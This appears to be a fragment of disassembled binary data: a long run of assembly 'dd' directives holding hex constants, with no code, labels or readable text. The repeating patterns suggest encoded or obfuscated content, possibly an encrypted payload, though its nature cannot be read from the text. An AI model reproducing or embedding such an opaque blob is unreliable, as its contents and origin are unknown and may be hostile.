		dd 509C49D5h, 6BAB132h,	8FAE7248h, 0AD2FD795h, 0D25859B3h
		dd 56ABB191h, 56D9343Dh, 0D2E5B132h, 5675B134h,	56BA373Dh
		dd 50B4B132h, 0D8AEB132h, 6B6828D0h, 4820D71Ch,	0A63231CBh
		dd 0D78CD052h, 59B530C9h, 56BAC3B6h, 78E3D132h,	30E76317h
		dd 3770738Bh, 8621D152h, 56DF5862h, 6BE1B132h, 5B3B7AB0h
		dd 13117AC7h, 5908D069h, 56AEABB7h, 44BED132h, 0DAABB132h
		dd 28AEE2ADh, 7A86F0A1h, 0C7BFE673h, 75D31256h,	0A93C489Ch
		dd 673989A0h, 0BF0A4D34h, 56ABB135h, 437D81F6h,	0DFC105E0h
		dd 519C4D77h, 1EBAB132h, 50D5A122h, 0A3CF6792h,	57ABCCB1h
		dd 5754343Dh, 0DD2DB132h, 7DE1B888h, 567F5834h,	0EC8DB132h
		dd 0A9B93AE5h, 2995EB36h, 0D4DC4962h, 509A2869h, 66E988CBh
		dd 9652D752h, 9DF4D16Dh, 1C2C01E9h, 373C6FB9h, 56AEA1DBh
		dd 0B7501632h, 56B532ECh, 5B72D0C2h, 61AAD2E6h,	0D47AE9FDh
		dd 56BAB083h, 63E73ACEh, 59A89A12h, 5657B6B1h, 572BBE32h
		dd 0AAD5B132h, 0A66BD162h, 2BA567FEh, 8A7C3054h, 0D4D6D022h
		dd 509F2869h, 666B88CBh, 56A65952h, 0CF7FB132h,	5012A5C5h
		dd 0FCDCE0A2h, 590DF7F2h, 37064E85h, 3021BE6Ah,	0A357B133h
		dd 56A65852h, 109DB132h, 1AAAA33Dh, 2F3281DBh, 0E0524B54h
		dd 3AB4D091h, 36AEB132h, 37AE0D86h, 36613A52h, 25063Dh
		dd 918BD06Ah, 56774977h, 0D1B5B132h, 565DB133h,	56E758CEh
		dd 47BEB132h, 0F4ABB132h, 88819BAh, 0F068D723h,	0BAA9FCB6h
		dd 0A39DB1F9h, 57A5F4F5h, 0BFAEB132h, 5657B13Ch, 0A65BB827h
		dd 0DB913EC3h, 17734D86h, 429C7208h, 22BAB132h,	0EAD4A6FCh
		dd 57432D87h, 6FE5352Fh, 51F0E7F0h, 0DD1309A7h,	677C1E88h
		dd 56735834h, 6CEDB132h, 267E1A8Bh, 0D3A1AEB9h,	5657B13Bh
		dd 5624BE52h, 0AAD5B132h, 5931BA53h, 567505B6h,	56AA5832h
		dd 0C0D7B132h, 5869188h, 0FB9A1560h, 16433C82h,	88EEE6F0h
		dd 56B0343Dh, 0DD89B132h, 4453BD6Fh, 2F5DB132h,	0E86780AEh
		dd 74B8ED7Ah, 8A54DDC8h, 4F186914h, 0AE9732D4h,	67F1BE32h
		dd 36BAB132h, 0E300852h, 0CFFAF96h, 56595853h, 0C8F1B132h
		dd 6A4305DDh, 0B204AF1Bh, 6C29F4C2h, 0BB94453h,	0BFA5D1CAh
		dd 56AEB135h, 630370AAh, 37CD9760h, 0AED1EEBBh,	59FE76B1h
		dd 5675B9BBh, 5437BE32h, 365DB132h, 0A9F45853h,	5EBE4ECDh
		dd 0ADABB132h, 8C3669DEh, 6582CBCDh, 567858F2h,	7B46B132h
		dd 1C2EE5E5h, 9A48D425h, 0BFF804D3h, 56ABB5BBh,	485ED7CBh
		dd 5B6DBE52h, 0BF75B132h, 56BAB13Ah, 36E6EF15h,	0FE155778h
		dd 37A4063Dh, 36A7CCB9h, 0B15473B9h, 5C55181Ch,	0BD8E3153h
		dd 56FD353Dh, 0D052B132h, 56AEB13Ah, 30953A52h,	3786038Bh
		dd 592552B2h, 56EABDBDh, 0D713D132h, 3070A1EDh,	68EE6BB3h
		dd 26553153h, 56DA353Dh, 0AF5EB132h, 56D4F8DBh,	56E45832h
		dd 775CB132h, 1CDB2C07h, 4AF2B41Fh, 39C1474Eh, 0BF5077CAh
		dd 582ABECEh, 36D5B132h, 0F23062B3h, 0DB7AB085h, 56BAB132h
		dd 571A7653h, 56AEB132h, 56433B3Dh, 0DAA4B132h,	56D5B13Ch
		dd 56EAB8DBh, 0EFEE7832h, 74BB6958h, 91D6E27Eh,	0E1A14D52h
		dd 5FBED0F5h, 6EABB132h, 0B60FEB4Fh, 0AA745870h, 597071B1h
		dd 56BABFB1h, 0D052D132h, 56AEB132h, 5657333Dh,	0BFCAB132h
		dd 56D5B297h, 56EB353Dh, 308DB132h, 5EB5B6F5h, 0AE433BCEh
		dd 0AEA152B2h, 0BFD77AB2h, 56ABB126h, 1406287Ch, 0DA901A98h
		dd 6047A080h, 0E21BD56Dh, 597C7242h, 9619BE52h,	5657A2DBh
		dd 0A5941E32h, 3E540DA7h, 2BD092A7h, 1BF3B066h,	0CEC32E4h
		dd 57023953h, 56BE5852h, 6B33B132h, 6ED2287h, 1BBC543Bh
		dd 0E69BDCDDh, 911480D3h, 56BAB375h, 42B4B132h,	31AEB132h
		dd 0C6B180B1h, 60B2CC43h, 0BDF777C6h, 7401BAE9h, 0DDBAE02Ch
		dd 56B658F5h, 89CCB132h, 82C78B15h, 0E688751Dh,	962887DDh
		dd 0AE5ED134h, 370546B2h, 0D17AE152h, 56BAB132h, 0D052D16Bh
		dd 56AEB132h, 3736E083h, 56A959DBh, 56DD5832h, 57B2B132h
		dd 779FAA90h, 0D7DC8082h, 59CD210Ch, 56AEEDB6h,	565F5832h
		dd 4479B132h, 6EDE5B17h, 0D4E5B508h, 5675B133h,	0C68431CAh
		dd 5608343Dh, 36CEB132h, 378F3ACEh, 56AD313Dh, 0D0DAB132h
		dd 56EAB132h, 28F4D753h, 592A21CDh, 565D91B6h, 56A15832h
		dd 0AFE4B132h, 0D1945299h, 0CFA9C445h, 256D7AF3h, 5668581Dh
		dd 30DAB132h, 0DAE940B3h, 0AE693A53h, 5655DDDBh, 5E28BE32h
		dd 59D5B132h, 56EAB3B8h
		dd 0DB14D132h, 6720F1B0h, 57DFBE34h, 0AEAEB132h, 0E158D162h
		dd 36FDD0ECh, 0E2F3A65h, 951D752h, 8FF4D783h, 37DB5FB5h
		dd 0C10E23CDh, 3657B703h, 0E1584AB9h, 96A0D0C9h, 5696353Dh
		dd 0DCE5B132h, 5675B135h, 596E0152h, 0DD3C6A85h, 0E42349FAh
		dd 50662B72h, 0BB15D752h, 7F6BD7D6h, 0E303D036h, 5975B132h
		dd 56BAA9BEh, 44D5BE32h, 0BFAEB132h, 5657B13Fh,	0FFC7DDB3h
		dd 3D52C2CDh, 0BA2444Ah, 115E70Ch, 56BABDDAh, 9B62D832h
		dd 65236C94h, 0ED484A06h, 30F3E841h, 0C69B52B3h, 56EC5853h
		dd 0C26DB132h, 16AB61E7h, 3D7FB9h, 0F780E3Dh, 51B03054h
		dd 59FED030h, 56D5A6BCh, 5C03D132h, 6B75B132h, 6C92304Eh
		dd 0FEC3CC26h, 562FBEB1h, 3757B132h, 0C19323CDh, 0B2CB703h
		dd 5A50D752h, 567D58A8h, 2347B132h, 5F2B1D58h, 7DCFEBA1h
		dd 565858FCh, 0A92BB132h, 12BDABB2h, 10593836h,	0B3C046C2h
		dd 56B3583Fh, 1688B132h, 61F0FA9Bh, 0A15E553Fh,	0AEF548EBh
		dd 572DCCB1h, 5678343Dh, 0E615B132h, 37DAD17Bh,	373C6EB9h
		dd 0DAA1F882h, 5657B134h, 367A3A52h, 597FD053h,	56EAA9B6h
		dd 99FFD132h, 56BABEDBh, 0E9024632h, 0A9BC8DC3h, 9D826050h
		dd 81A400F9h, 596DD753h, 5B61BEB7h, 0BF75B132h,	56BAB13Ah
		dd 91389F15h, 8B6C2770h, 59A21A54h, 59AAF784h, 56D5BABDh
		dd 56EC5832h, 2CD1B132h, 2EB24A9Dh, 564C5899h, 97D5B132h
		dd 8A429B67h, 4308C1E6h, 24A34629h, 0BF97D40Eh,	5675B19Bh
		dd 56B0383Dh, 53B4B132h, 99AEB132h, 0BAC5AB10h,	5453CCB1h
		dd 5659343Dh, 3012B132h, 36BCBA8Ah, 0E977CC8Dh,	0FD3BD02Bh
		dd 56AEA1DBh, 0E5936232h, 0E8E8A721h, 0BEFB7130h, 518998D9h
		dd 59CDD71Fh, 56BF58B6h, 0E155B132h, 3056DCE6h,	0DF58D199h
		dd 56ABB132h, 855ED752h, 8F3D66B3h, 3714D1EDh, 57FC073Dh
		dd 56513D3Dh, 0D3A1B132h, 5657B134h, 56AB343Dh,	0BF7EB132h
		dd 56EAB126h, 0D9B23965h, 63F7CE88h, 0C0E12563h, 3213EAA6h
		dd 0A174F13Dh, 56ABA5DBh, 503CD132h, 91EAB132h,	0AC3643ACh
		dd 1204D791h, 0F2AED06Fh, 59693ACAh, 5657BDB5h,	5026BE32h
		dd 59D5B132h, 56EAB1B7h, 0F89EA32h, 0BFE1E152h,	565DB126h
		dd 8D730DC3h, 0DAD64947h, 0AE29FD1h, 164D9A2Ch,	0F3CE0A20h
		dd 0D77AEF53h, 56BAB13Ah, 565F3B3Dh, 37CEB132h,	5DBFD16Dh
		dd 0C2ABB132h, 0FB98D99h, 0D977124Ah, 8DF491A2h, 416400CFh
		dd 379E3A69h, 512DBEFBh, 3657B132h, 0DDCDEA60h,	0DEDAD0E4h
		dd 56EAB130h, 5EB7D052h, 56BF5832h, 24BEB132h, 316A615h
		dd 5656363Dh, 0DD5EB132h, 59B549DEh, 56EAA3BDh,	56785832h
		dd 0AF5BB132h, 0E3E5DB2Bh, 0EF885E92h, 0BE77567Dh, 56ABB132h
		dd 723F3068h, 59EC80FBh, 5675A6BDh, 56A85832h, 0C58BB132h
		dd 50182B4Bh, 69257A04h, 0EB66056Eh, 89995FC4h,	378BD152h
		dd 0AA7DF4B9h, 0C1AC33BBh, 37A8B703h, 0DDA178CEh, 5657B13Ah
		dd 56A9323Dh, 37B5B132h, 0BFEAB5F0h, 5675B13Eh,	95C3BB2Fh
		dd 87DB2C4Ah, 0CAB47D43h, 0BADC4467h, 56ABB7DBh, 6D80D932h
		dd 0D57DD0F2h, 368049F6h, 56BAA0DBh, 7CFA0932h,	8F167F7Dh
		dd 316DDCDCh, 7D8DB0C6h, 563D1E72h, 0CEAB132h, 9FDE5BB3h
		dd 0D7B5B703h, 565DB134h, 0E9A14D52h, 91A2D0E3h, 56AB4977h
		dd 30B5B132h, 371341B9h, 5689F4F5h, 59BAB132h, 565DBFB5h
		dd 0D9A1D132h, 5657B132h, 56AB313Dh, 0A3B4B132h, 0DBE57101h
		dd 5675B12Ah, 563BBE52h, 0BE5DB132h, 56AEB138h,	632B80EBh
		dd 2F37B038h, 378F2CAFh, 0AFF43A54h, 0CF2E33F5h, 56BBB703h
		dd 0E33DB132h, 5028BE9Fh, 5957B132h, 56ABB1B7h,	0D7B3D032h
		dd 597A21C9h, 5675B0B7h, 0AD3A4D32h, 74D9BEDAh,	0BFAEB136h
		dd 5657B13Fh, 29B90D02h, 9F7AC967h, 18D3C72Eh, 3615F1A1h
		dd 0D1770B54h, 363CD052h, 0DFEE962h, 0ADD7D053h, 0A02FBEDBh
		dd 59D5B131h, 56EABCBCh, 567D5832h, 35B8B132h, 9C254B64h
		dd 0AAEE2C0Eh, 59BC4AB2h, 56A869B6h, 415FBE32h,	0BFEAB132h
		dd 5675B120h, 23C434E9h, 0A955199Fh, 67C6FC6Ah,	0E9230FEFh
		dd 0AAEBBA4Eh, 362556B2h, 0D78CD1C7h, 377E28E8h, 0AD3BD753h
		dd 0D252313Dh, 56AEB293h, 0A6EDD152h, 0DDADF3D6h, 983D0ECh
		dd 0B68B253h, 36739A06h, 30700E3Dh, 0BF3C40B9h,	56AEB13Fh
		dd 9B5D98C2h, 20BDDDF1h, 57AAEF71h, 5803F18Dh, 1775B132h
		dd 0E1F5B8C8h, 0AA2D9627h, 0DBFE3B07h, 0B4AC313Ah, 55E4353Dh
		dd 0D629B132h, 0D2E552C9h, 5675B205h, 56B5313Dh, 0DD3DB132h
		dd 56AB59FDh, 6A88B132h, 0FB36772h, 0AD54D753h,	0D2E55255h
		dd 5675B217h, 56A23B3Dh, 0D63DB132h, 584779D3h,	2157B132h
		dd 0D98783C5h, 8DC0527Bh, 7DE9713Fh, 0B5F5D07Dh, 0AD3A49C2h
		dd 54D9BE42h, 0AEAEB131h, 0BF493A54h, 56ABB13Eh, 0F4DCBBDh
		dd 2BCD09EEh, 0C44E7E8Dh, 364252B2h, 0ADEABE60h, 37CF0269h
		dd 59EF4AB2h, 56AB42B6h, 68554932h, 0BF6EBE37h,	3675B132h
		dd 56BB363Dh, 37A1B132h, 59838FB2h, 565766B6h, 682B4832h
		dd 9B51BE5Ah, 59EAB132h, 5675B0B9h, 36FA4932h, 8467BB3h
		dd 2A1DC1F0h, 0DD54E53h, 0AAAD80ABh, 0BFCB3A54h, 56EAB126h
		dd 0E20E80ECh, 7D8AECE0h, 0D31D9028h, 18ABB347h, 4B91C8D5h
		dd 0AE5356B2h, 0D72E3054h, 0DF6EBEDAh, 0AA75B132h, 59A43A54h
		dd 565DB0BAh, 0D6574932h, 30AE41D5h, 962A4AB3h,	56BB353Dh
		dd 0D4E5B132h, 5675B124h, 56BAA0DBh, 0F9CF5E32h, 81076511h
		dd 2E4E682h, 0D706F51Dh, 0AEB540DDh, 56E35867h,	5E18B132h
		dd 734004B8h, 0A9636430h, 673989A0h, 57DEBE34h,	0A3ABB132h
		dd 135C446Fh, 56E558CEh, 977DB132h, 0BA6B8A16h,	1BE3455Ch
		dd 4AC8F2CCh, 0D5A2D0B7h, 59AA4D4Fh, 56D300B7h,	56E05832h
		dd 0E0DCB132h, 0DFE9A4B9h, 0F18DAAD2h, 5DA70BB9h, 5ABEB719h
		dd 0E1ABB132h, 0A7469FFFh, 36A5ED9Ah, 6D764ACh,	9B430A52h
		dd 37A1AAE4h, 0CFF533B9h, 0DB58B703h, 56ABB13Bh, 0E9B4D152h
		dd 5FF6C817h, 66498853h, 0D4B5E9CAh, 565DB750h,	5127BECEh
		dd 3657B132h, 0A12BD052h, 0EC5ED01Bh, 50C19107h, 5675B9DBh
		dd 1AF13632h, 0CE0B70B8h, 0DD57E1B7h, 67CEEAB0h, 56AC5834h
		dd 0A826B132h, 0FCF8189Bh, 66498869h, 0D9B5E9CAh, 565DB710h
		dd 56A05952h, 5519B132h, 1A12546Bh, 0FC6716A2h,	7AD954C9h
		dd 0CAE063Dh, 56BA323Dh, 0DD3CB132h, 67385B88h,	0D558D134h
		dd 56ABB136h, 90DD0B54h, 56EABEDBh, 9CADEC32h, 7FC9782Eh
		dd 90492489h, 0CD406E70h, 0BCD53253h, 42AD80A4h, 56D5A1DBh
		dd 6A161832h, 43EACFFDh, 0BB0FBECDh, 0F72A92F2h, 369938B7h
		dd 5A930E54h, 0A3CA0785h, 0BFC5F6BBh, 56EAB122h, 0CEE1EC7Ch
		dd 19AD5551h, 0C5EEF547h, 2D5B8C16h, 5657BDDBh,	4F2A9E32h
		dd 8296C510h, 0BC43203Bh, 0D67AE115h, 56BAB12Ah, 565DA2DBh
		dd 0E0A11B32h, 0BAFD9C53h, 0FE5BE0ABh, 0F410BDE7h, 6F137005h
		dd 0CF2E33B9h, 30DAB703h, 0D6D0C688h, 36CFDBD6h, 56413F3Dh
		dd 4742B132h, 0E5D5B132h, 8B42B979h, 0B96C959Dh, 2612D40Bh
		dd 0DA61FA25h, 37453054h, 4ADCD00Bh, 4024BE02h,	0BFD5B132h
		dd 56EAB123h, 7C207049h, 266E6D27h, 0A146A491h,	3392C344h
		dd 45DEBE4Fh, 0BFABB132h, 56D5B13Ch, 0D2722EF9h, 134E497Dh
		dd 766DE807h, 5905211Dh, 56AEB8BAh, 22ECD132h, 694C766h
		dd 30B5D06Bh, 0A90458B3h
		dd 5E2A3853h, 525E58CAh, 0DB52B132h, 56AEB139h,	95D6D752h
		dd 0EFCDBD8Dh, 91B4C612h, 56E84977h, 0BF8CB132h, 56BAB13Bh
		dd 0AE1876CBh, 56AEB133h, 0BCED3AC7h, 59AD80A4h, 56D5BCB3h
		dd 56E25832h, 7E78B132h, 6EC88B24h, 0D4DE7B89h,	509F27D8h
		dd 56445826h, 24F3B132h, 0F81886ACh, 389534F0h,	12127B77h
		dd 66D85D17h, 596A38F4h, 56AEB0BEh, 11DE4D32h, 0DFA4D122h
		dd 56D5B130h, 0E1E5D052h, 5F9CD0CAh, 0F4BAB132h, 69FEE392h
		dd 9373DF75h, 595449B1h, 56AB88B7h, 0D4124D32h,	50DB2869h
		dd 5675B130h, 56BABFDBh, 3D829432h, 702EAA82h, 1D82E096h
		dd 0AFE9AAC8h, 56D58FDBh, 516ABE32h, 3675B132h,	1483A54h
		dd 593DD06Ch, 56AEB1B6h, 0AED4D032h, 3926BE30h,	59D5B130h
		dd 56EAABB3h, 479CD132h, 17BAB132h, 0F94CE8B5h,	3215E3DAh
		dd 10C4040Fh, 3F4EB862h, 0D5B466B8h, 59EA494Fh,	567511B6h
		dd 5738BE32h, 0AF5DB132h, 57E8073Dh, 565D58C7h,	390BB132h
		dd 0CAEE70DBh, 0F1848049h, 5675319Bh, 1B3FBE32h, 0BF5DB132h
		dd 56AEB122h, 2F323142h, 6ADD4806h, 0A779CABBh,	9307C901h
		dd 4CF3BE72h, 36BAB132h, 565DBEDBh, 16FF7832h, 8A7F1267h
		dd 99013FCBh, 0F72B0A4Eh, 15280F54h, 539D3253h,	569558C7h
		dd 0D952B132h, 56AEB13Ah, 5655313Dh, 37CBB132h,	56D54E1Fh
		dd 5763BE32h, 0A375B132h, 59BF59B1h, 565DBDBAh,	5022BE32h
		dd 5957B132h, 56ABB1BBh, 56B45832h, 0D6E5B132h,	5675B133h
		dd 0D5B5E2CBh, 565DB138h, 0D75A0652h, 470FA3E3h, 0CC20D063h
		dd 50E42869h, 56E0393Dh, 115B132h, 5635BE6Ch, 375DB132h
		dd 65AA3ACAh, 5657A2DBh, 566C7232h, 0DF380F1h, 87135845h
		dd 8F1C7830h, 20E1C6BFh, 564C5869h, 9BFFB132h, 0BE5DB3AAh
		dd 2A791C15h, 9CABB19Eh, 0FFAD8A70h, 0D675B132h, 561E343Dh
		dd 55A8B132h, 0BECED1F4h, 5657B13Ah, 0D8F507Fh,	68208F9Fh
		dd 56E0586Ch, 0E499B132h, 8EBCC183h, 4C417C9Fh,	8F2FD753h
		dd 0D53697DFh, 0EECBB4F2h, 0CFBAE1Eh, 0D68B253h, 367380ABh
		dd 0BF4B3A54h, 565DB134h, 0EE06D15h, 1E361480h,	5EEC38C7h
		dd 56C03A3Dh, 4603B132h, 0D675B132h, 71373864h,	0BC97A70Ah
		dd 6547D068h, 0DF7DCD62h, 0BFCBBD75h, 56D5B120h, 0FA9A4677h
		dd 483398A6h, 758EEADFh, 0A673A979h, 0D7C8A09Dh, 37E933E8h
		dd 56A9E4DBh, 56C55832h, 56B6B132h, 57FAC57Ch, 0DE331A1Dh
		dd 66121D6Bh, 8E59B0FFh, 0F2000852h, 0E9A4F606h, 90FED0CCh
		dd 56EAA0DBh, 22799F32h, 0C2717137h, 3E48AF0Ch,	8432B5DBh
		dd 58BE0C67h, 8CABB132h, 0A58AAA0Fh, 0A9E55887h, 0B7FA86Bh
		dd 3662464Ah, 0E07E664h, 37885FB2h, 595271B1h, 56ABA5B2h
		dd 56DA5832h, 0E04B132h, 35D788E0h, 0B9DE2C84h,	62F6FDA8h
		dd 0D2CB2C1h, 0AF5180ABh, 5127BE7Ah, 59D5B132h,	56EAB0B6h
		dd 11FC4D32h, 5E3FBE3Ah, 595DB132h, 56AEB3B1h, 0DF36D132h
		dd 0BF53BD75h, 56D5B080h, 56E23D3Dh, 0DC7AB132h, 56BAB130h
		dd 966ED052h, 0E2C10852h, 5BBE8A17h, 0FAABB132h, 5DC5585Eh
		dd 98D3473Ch, 4658A670h, 57FC3B53h, 59DD19CBh, 56AE73B7h
		dd 51BFD132h, 4BABB132h, 28CB0895h, 0DA52B36Ah,	0C71A93Dh
		dd 37450E3Dh, 5FB47731h, 0B5AEB132h, 885AD0A4h,	8A327065h
		dd 36D771B1h, 0E63A3054h, 37A63AE5h, 56BAB089h,	56575832h
		dd 0C76BB132h, 0FB6ABD9Fh, 15D70692h, 0D2DA6A39h, 56EAB120h
		dd 56743F3Dh, 0DC46B132h, 6687FFA8h, 0B52E4434h, 95544D33h
		dd 56BC3C3Dh, 443CB132h, 54EAB132h, 0A5BD03BFh,	536B037Eh
		dd 47DE3629h, 0CABD70A3h, 5E1038E1h, 56BF5952h,	0ED0CB132h
		dd 0C8207357h, 177C952Dh, 0B73F15B8h, 2CDA7D5Eh, 0DEA15912h
		dd 5657B132h, 1122D06Ch, 56D3583Eh, 448CB132h, 8AE42323h
		dd 56BA74DBh, 56585832h, 0EE2DB132h, 0A15C1F06h, 56BA58EAh
		dd 4946B132h, 2D8E18B1h, 2708680Bh, 6B63C812h, 73EE4A6Ah
		dd 56AEB1CDh, 5657A5DBh, 61B76932h, 87540639h, 3102FB48h
		dd 5CF6DB80h, 0CCBB51DDh, 599B9A5Ch, 56AEBDB0h,	0DE58D132h
		dd 56ABB132h, 3F000A54h, 59324653h, 5675A8B2h, 56AE5832h
		dd 0B4D2B132h, 22DA4CA2h, 82368E1Fh, 7F4CCF55h,	0F9171975h
		dd 9669D1A1h, 1CBD130h,	0D7949236h, 7A62C1D3h, 5847D06Dh
		dd 8557B132h, 50399560h, 51ED5FD8h, 0C6A2339Ah,	5E3238F1h
		dd 56BABCDBh, 311FCF32h, 0F179D77Eh, 0ED5BB261h, 1122785Ch
		dd 56C5583Eh, 0C53B132h, 13DBB7ECh, 26820038h, 502E6135h
		dd 5956C11Bh, 5657B9B5h, 5420BE32h, 36D5B132h, 5903D053h
		dd 0AC75B132h, 263C0B16h, 39DE94B7h, 0CDDC9EA0h, 9FAB1ABAh
		dd 56ABB7DBh, 94F8F832h, 9547B270h, 5675B9DBh, 0E9974532h
		dd 0DD88A08Dh, 0DD52E4D0h, 92D44DDEh, 0E9A4D1CEh, 0D93B30ECh
		dd 37ABD44Bh, 4EF8BE52h, 36BAB132h, 565DBFDBh, 1409232h
		dd 1EF27763h, 68D464DFh, 0D6301065h, 0BE8B4FE5h, 5675B132h
		dd 0C6503068h, 0BF5B80E1h, 56AEB139h, 0DB64BDBh, 9E225ABAh
		dd 59E04642h, 56EAA2B7h, 5BF1BE32h, 0BFBAB132h,	565DB13Ah
		dd 0DA645905h, 8F196ED0h, 37CBD152h, 372E0E3Dh,	3712063Dh
		dd 0C0DA0BB9h, 5A53B703h, 145DB132h, 6127E1F4h,	5065707Ch
		dd 6539F2B8h, 0E629D1FBh, 6969D0E3h, 44F1BE32h,	0BFBAB137h
		dd 565DB13Ch, 79A472B1h, 941D4568h, 8FD600BBh, 515ED0CBh
		dd 56EAB9DBh, 35161432h, 76B70A33h, 5A284EB7h, 56AEBADBh
		dd 5B1A7632h, 8C839040h, 76DE43E4h, 59E2C4CDh, 5675BABCh
		dd 56BC5832h, 0AAAB132h, 1D96133Eh, 5FEFD162h, 36DC3BB6h
		dd 863DD053h, 0BFEAB13Bh, 5675B121h, 14FAD994h,	3CD7563Bh
		dd 0C6E99079h, 57AF449Ah, 0AEAC3170h, 0D3DA7139h, 56EAB117h
		dd 5674373Dh, 0DD43B132h, 56565835h, 97ADB132h,	5CABDEBFh
		dd 778278F0h, 56FC5807h, 308AB132h, 838860B3h, 427D3253h
		dd 26933052h, 37F7A0BEh, 0A9A8F8DBh, 56A658CDh,	0BEB1B132h
		dd 85183F83h, 2413F07Fh, 0DFEDB27Eh, 0EE3D4D77h, 4D5240Eh
		dd 5657BEDAh, 30559732h, 9980E513h, 0F84D1DC3h,	679AF026h
		dd 37E0E960h, 3651C4CDh, 56AEB4DBh, 6C0BF432h, 0EFCDFDE2h
		dd 0A9B4A020h, 0BE8AB947h, 5675B121h, 8C1502B2h, 352FF691h
		dd 3F352834h, 0FC5729D9h, 30001AD3h, 0CED558Dh,	36DD4E53h
		dd 5670343Dh, 0DD02B132h, 1103D6h, 8ABE0A54h, 0AEBFD069h
		dd 59ABB13Ah, 56D5B6B9h, 5767BE32h, 0AA75B132h,	0D2B57139h
		dd 565DB12Ah, 56A23F3Dh, 51BEB132h, 1BABB132h, 5BC47608h
		dd 0E003C7BCh, 0A375B131h, 0BF46F4B9h, 565DB123h, 802DE7C8h
		dd 2DAC511Bh, 0B876D034h, 1EB1191Bh, 59ED8800h,	567625B0h
		dd 56B15832h, 17C8B132h, 76FD872Ch, 0F4CEFEB9h,	0AAEE4EB1h
		dd 56DE5852h, 0F711B132h, 0C1170C13h, 5C6095A8h, 29DED0E2h
		dd 0D2A1B136h, 5657B1B0h, 56BD333Dh, 473CB132h,	98EAB132h
		dd 38B8C65Dh, 0B487919h, 0A63BAE22h, 985F30E5h,	5657A0DBh
		dd 0A3818432h, 8A19E2B0h, 1BA1274Fh, 78AA33FBh,	29395F7Fh
		dd 0D252B13Eh, 56AEB174h, 564A3B3Dh, 0BFCBB132h, 56D5B126h
		dd 9AF3725Ah, 791A8730h, 0FD5E465Bh, 28FD6F5Eh,	577B5658h
		dd 3636D052h, 4F3756B3h, 0DDB39F86h, 3403D0E1h,	5975B132h
		dd 56BABCBAh, 56555832h, 7D8EB132h, 1AFA60D8h, 0A9136696h
		dd 0BF2A4ECDh, 56EAB135h
		dd 0D64752C2h, 0EF0819A5h, 565DB137h, 56A6323Dh, 437B132h
		dd 0B413D76Ah, 0FD26D0FBh, 5367BE52h, 0EF75B132h, 409730D8h
		dd 565DA0DBh, 0FD020432h, 0E7785666h, 0DB37E419h, 29ADB4AEh
		dd 0BF8B2289h, 0A98A4F56h, 46C532CEh, 0DD9BE37h, 0BFAEB132h
		dd 5657B13Dh, 0A46EED4Ch, 566D9E2Ah, 74A18CB8h,	0D54C628Ch
		dd 59BCA14Dh, 565D3CB7h, 512ABE32h, 3657B132h, 56C063Dh
		dd 3694D06Ch, 11F3A8Dh,	0B9F4D747h, 0DDDBA586h,	0D252B575h
		dd 56AEB133h, 5A083AC7h, 56A1343Dh, 30B5B132h, 30830689h
		dd 37088689h, 56BB7DDBh, 11D64432h, 0AE16D136h,	0C511h
		dd 0C7AD0F54h, 95ED06Ah, 56F9583Eh, 81CCB132h, 0BB950232h
		dd 0A471D650h, 535D9EABh, 7A3616E7h, 57C05856h,	0D3DAB132h
		dd 56EAB128h, 56705952h, 542BB132h, 0C38163Bh, 56AEB6DAh
		dd 0D6DFBB32h, 21BE363Fh, 115ED069h, 9614D36h, 5673583Eh
		dd 3A17B132h, 1B53016Ah, 59A6EE09h, 565714B7h, 0AEF94832h
		dd 56D4323Dh, 0DD12B132h, 7D8CB565h, 4653A167h,	0E95DB132h
		dd 36026D3Fh, 1D637267h, 28455C9h, 55C8F2B9h, 0DBE5A567h
		dd 5675B135h, 870DBE52h, 0DD3CEB62h, 0D1A1BD6Dh, 5657B13Ch
		dd 5627BE52h, 59D5B132h, 56EAB1BDh, 8C5ED032h, 56BAA3DBh
		dd 0CFDB2432h, 0B1F08A29h, 0A86BA7Bh, 68AE83B4h, 0D5B4CDAFh
		dd 308AB4D9h, 592A878Bh, 0CDB6B85h, 565DB4DBh, 0D2593832h
		dd 3037DC7Eh, 0D0A477B9h, 56D5B125h, 56EAA0DAh,	3B41FC32h
		dd 809D3A6Ah, 90B0BAB7h, 24DC157Bh, 370F1BD2h, 56ABFEDBh
		dd 115E4932h, 9614D36h,	567A583Eh, 7D6DB132h, 6DA84C71h
		dd 262E4492h, 0C5F3298Dh, 52F49A35h, 30243B52h,	372B588Dh
		dd 539E32CAh, 0A60DBE52h, 37AF3A54h, 56AEB8DBh,	6987D232h
		dd 36AFCCD8h, 0DCD6E80Fh, 50C1BFA7h, 56FBBE52h,	37BAB132h
		dd 554DCEB1h, 569D343Dh, 59ABB132h, 56ABBABEh, 0DEDAD132h
		dd 56EAB132h, 37BA0E3Dh, 4C34BE73h, 595DB132h, 56AEA5B7h
		dd 56585832h, 9124B132h, 0B2958B5Eh, 0B67FCE60h, 0C88D8D85h
		dd 36639A0Fh, 0D3524D52h, 56AEB132h, 0E831D153h, 0D7CDF91Fh
		dd 37987FD5h, 4464BE53h, 0BF75B132h, 56BAB13Fh,	891DCA1Fh
		dd 6008E56Eh, 0BAB87799h, 57F7385Eh, 56DB5833h,	0A4BAB132h
		dd 0BF1A1107h, 2D268AF3h, 66FADF03h, 0A9514E8Ah, 565958CDh
		dd 0FF95B132h, 0A7D33ADBh, 7BCE7277h, 0A84BC59Dh, 56BAB48Bh
		dd 41D0BE32h, 36AEB132h, 5657BBDAh, 1B0F6332h, 0EFFC804Eh
		dd 0E49B24Ah, 0E5943054h, 0FD49D08Ch, 8FB444CBh, 0BF514EC9h
		dd 5657B137h, 0A0923FB4h, 0DCB5D030h, 56ED58C7h, 38A0B132h
		dd 4868F6F1h, 3694D0F3h, 56AF323Dh, 0ECABB132h,	1BEFF251h
		dd 56C57353h, 56E9343Dh, 0AE15B132h, 59DAE453h,	565DB2BEh
		dd 4A463132h, 5657BADBh, 55F45A32h, 93AC058Ah, 0FC22A27Fh
		dd 44F4BE53h, 59BAB132h, 565DBDB4h, 56A95832h, 0FF90B132h
		dd 7155F882h, 36393AE1h, 0DA203054h, 54FDBE64h,	0DDBAB132h
		dd 92DED0E3h, 0BECED1CEh, 5657B13Eh, 0D2A9AB80h, 0DB8F3F5Bh
		dd 7E13AF48h, 77860E6Ah, 30DBAE78h, 4B1A56B3h, 0BECED153h
		dd 5657B134h, 79E44082h, 0E292DFBh, 0B56BD762h,	372ADC14h
		dd 56BAB1DAh, 0BCDCEB32h, 509F6887h, 5657BEDBh,	64CAC432h
		dd 0C0EEA2D4h, 5025657Bh, 0EC9E77Fh, 56B63F3Dh,	0DA52B132h
		dd 56AEB134h, 5657373Dh, 0DD53B132h, 67431E88h,	4D6BBE34h
